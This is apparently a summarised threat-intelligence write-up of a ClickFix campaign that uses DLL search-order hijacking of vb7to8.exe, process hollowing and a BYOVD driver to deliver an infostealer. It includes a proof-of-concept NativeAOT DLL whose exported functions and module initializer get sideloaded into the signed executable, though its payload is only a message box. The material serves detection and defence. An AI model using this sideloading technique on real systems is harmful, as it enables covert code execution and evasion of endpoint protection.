# From 88 lines to 1: Detecting DLL hijacking with Elastic Defend

ClickFix campaign sideloads malicious mscoree.dll beside signed vb7to8.exe, hijacking DLL search order to run code and hollow ServiceModelReg.exe with an infostealer.

- Payout: Real-world hack
- Severity: high
- Program: vb7to8.exe
- Analysis by: Ian Garratt, Tamás Péter
- Disclosed: 2026-08-28
- Write-up quality: 7/10
- Original: https://www.elastic.co/security-labs/threat-command/dll-search-order-hijacking-elastic-defend
- Library page: https://bugbountylibrary.com/r/blog%3Aelastic-co-security-labs-threat-command-dll-search-order-hijacking-elastic-defend
- Tags: area:os domain:desktop impact:data-leak impact:rce kind:incident platform:threat-intel sev:high tech:dotnet tech:windows technique:reverse-engineering technique:source-review vuln:path-traversal vuln:privilege-escalation

**Target:** Windows DLL search-order loader / signed Microsoft utility vb7to8.exe
**Root cause:** Windows resolves DLL imports by name using search order where the application directory precedes System32, so a planted mscoree.dll beside the executable is loaded instead of the legitimate library.
**Steps:**
1. Victim lured via ClickFix; PowerShell stages signed vb7to8.exe and malicious mscoree.dll in the same folder.
2. Malicious DLL exports functions matching mscoree.dll imports (e.g. LoadLibraryShim, LoadStringRCEx) so the loader resolves them.
3. Run `vb7to8.exe` with an argument; loader maps the planted mscoree.dll from the app directory.
4. NativeAOT runtime initializes, ModuleInitializer runs attacker code inside vb7to8.exe.
5. Payload calls CreateProcessW with CREATE_NO_WINDOW|CREATE_SUSPENDED (0x8000004) on ServiceModelReg.exe and hollows it to run Remus infostealer.
6. Campaign also ships a BYOVD driver to disable EDR including Elastic Endpoint.
**How found:** Elastic reverse engineered the eSentire-documented mscoree.dll: spotted a CreateProcessW call site lacking CREATE_SUSPENDED, then an indirect call via resolved function pointer with 0x8000004 and MZ/PE magic-byte checks; cross-refs led to j_malwareStart and a dead end in .data/.rdata, resolved by spotting .NET 7.0 strings and the .managed section indicating NativeAOT.
**Exploitation:** ClickFix lures the victim into running PowerShell that drops a signed Microsoft binary plus a same-named malicious DLL; on execution the sideloaded DLL runs in-process, then process-hollows ServiceModelReg.exe to host the Remus infostealer, with a vulnerable driver disabling EDR.
**Escalation:** BYOVD driver kills endpoint detection to protect the infostealer; process hollowing into a second signed Microsoft binary for defense evasion.
**Insight:** When static cross-refs dead-end in .data/.rdata, look for runtime strings and the .managed section to identify NativeAOT; then reproduce exports with [UnmanagedCallersOnly] and trigger via [ModuleInitializer] instead of DllMain to avoid loader-lock deadlocks.

## Proof of concept (copied exactly from the original report)

**NativeAOT DLL exports that trigger module initializer**

```
public static class Exports
{
    [UnmanagedCallersOnly(EntryPoint = "LoadLibraryShim")]
    public static nint LoadLibraryShim()
    {
        return 0;
    }

    [UnmanagedCallersOnly(EntryPoint = "LoadStringRCEx")]
    public static nint LoadStringRCEx()
    {
        return 0;
    }
}
```

**ModuleInitializer payload showing message box on hijack**

```
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;

internal static class Bootstrap
{
    [DllImport("user32.dll", CharSet = CharSet.Unicode)]
    private static extern int MessageBoxW(nint window, string text, string caption, uint type);

    [ModuleInitializer]
    internal static void Start()
    {
        MessageBoxW(0, "Process hijacked!", "Process hijacked!", 0);
    }
}
```

**Project file building NativeAOT shared library**

```
<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <TargetFramework>net7.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
    <PublishAot>true</PublishAot>
    <NativeLib>Shared</NativeLib>
    <SelfContained>true</SelfContained>
    <RuntimeIdentifier>win-x64</RuntimeIdentifier>
  </PropertyGroup>

</Project>
```

